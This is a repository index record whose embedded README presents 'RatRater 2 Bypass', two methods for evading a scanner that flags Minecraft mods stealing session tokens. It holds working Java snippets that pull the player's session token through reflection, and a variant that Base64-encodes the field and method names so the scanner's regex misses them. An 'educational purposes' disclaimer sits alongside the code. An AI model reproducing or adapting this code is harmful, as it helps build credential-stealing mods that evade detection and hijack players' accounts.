{"id":15105498,"url":"https://github.com/commandcracker/ratrater-2-bypass","last_synced_at":"2026-01-19T12:33:02.993Z","repository":{"id":210230117,"uuid":"724818765","full_name":"Commandcracker/RatRater-2-Bypass","owner":"Commandcracker","description":"This Repository contains 2 bypasses for RatRater 2. This program is for educational purposes only, and I am not responsible for any of your actions!","archived":false,"fork":false,"pushed_at":"2023-12-01T12:09:22.000Z","size":263,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-04-05T12:43:12.980Z","etag":null,"topics":["educational","jwt-token","minecraft-forge-mod","rat"],"latest_commit_sha":null,"homepage":"","language":"Java","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Commandcracker.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE-fml.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2023-11-28T21:21:48.000Z","updated_at":"2023-12-01T12:10:12.000Z","dependencies_parsed_at":"2023-12-01T14:29:05.800Z","dependency_job_id":"9b71f4b1-e458-4c50-b875-3aa30294d0c9","html_url":"https://github.com/Commandcracker/RatRater-2-Bypass","commit_stats":null,"previous_names":["commandcracker/ratrater-2-bypass"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Commandcracker%2FRatRater-2-Bypass","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Commandcracker%2FRatRater-2-Bypass/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Commandcracker%2FRatRater-2-Bypass/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Commandcracker%2FRatRater-2-Bypass/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Commandcracker","download_url":"https://codeload.github.com/Commandcracker/RatRater-2-Bypass/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247339132,"owners_count":20923009,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["educational","jwt-token","minecraft-forge-mod","rat"],"created_at":"2024-09-25T20:40:27.540Z","updated_at":"2026-01-19T12:33:02.986Z","avatar_url":"https://github.com/Commandcracker.png","language":"Java","funding_links":[],"categories":[],"sub_categories":[],"readme":"# RatRater 2 Bypass\n\nThis Repository contains 2 bypasses for [RatRater2].\n\n## ⚠️ Disclaimer\n\n**This program is for educational purposes only, and I am not responsible for any of your actions!** \\\n**If you use this to create a rat then you're a discussing human being!**\n\n## Explanation\n\nShort explanation of booth bypasses.\n\n### 1st bypass (Fixed)\n\nExtracting the token from `private final String token;` (`field_148258_c`) inside `net.minecraft.util.Session`.\n(The methode was found by [@Commandcracker])\n\n#### Example of bypass 1\n\n```java\nprivate static String getTokenFromField() {\n    try {\n        Field token_field = Session.class.getDeclaredField(\"field_148258_c\");\n        token_field.setAccessible(true);\n        return (String) token_field.get(Minecraft.getMinecraft().getSession());\n    } catch (NoSuchFieldException | IllegalAccessException ignore) {\n        return \"\";\n    }\n}\n```\n\n### 2nd bypass\n\nHiding the Function/Field Name from the regex filter by for example\nEncoding/Encrypting and Decoding/Decrypting or\nby combining two variables to the name of one of:\n\n```\nfunc_111286_b (getSessionID)\nfunc_148254_d (getToken)\nfield_148258_c (token)\n```\n\nand then using reflection to access it.\n\n#### Encoding Example of bypass 2 with func_111286_b (getSessionID)\n\n```java\nprivate static String getSessionIDFromGetSessionID() {\n    try {\n        byte[] decodedBytes = Base64.getDecoder().decode(\"ZnVuY18xMTEyODZfYg==\");\n        String decodedString = new String(decodedBytes);\n        Method getSessionID = Session.class.getMethod(decodedString);\n        return (String) getSessionID.invoke(Minecraft.getMinecraft().getSession());\n    } catch (NoSuchMethodException | InvocationTargetException | IllegalAccessException ignore) {\n        return \"\";\n    }\n}\n```\n\n#### Encoding Example of bypass 2 with func_148254_d (getToken)\n\n```java\nprivate static String getTokenFromGetToken() {\n    try {\n        byte[] decodedBytes = Base64.getDecoder().decode(\"ZnVuY18xNDgyNTRfZA==\");\n        String decodedString = new String(decodedBytes);\n        Method getSessionID = Session.class.getMethod(decodedString);\n        return (String) getSessionID.invoke(Minecraft.getMinecraft().getSession());\n    } catch (NoSuchMethodException | InvocationTargetException | IllegalAccessException ignore) {\n        return \"\";\n    }\n}\n```\n\n[RatRater2]: https://github.com/KTibow/RatRater2\n[@Commandcracker]: https://github.com/Commandcracker\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fcommandcracker%2Fratrater-2-bypass","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fcommandcracker%2Fratrater-2-bypass","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fcommandcracker%2Fratrater-2-bypass/lists"}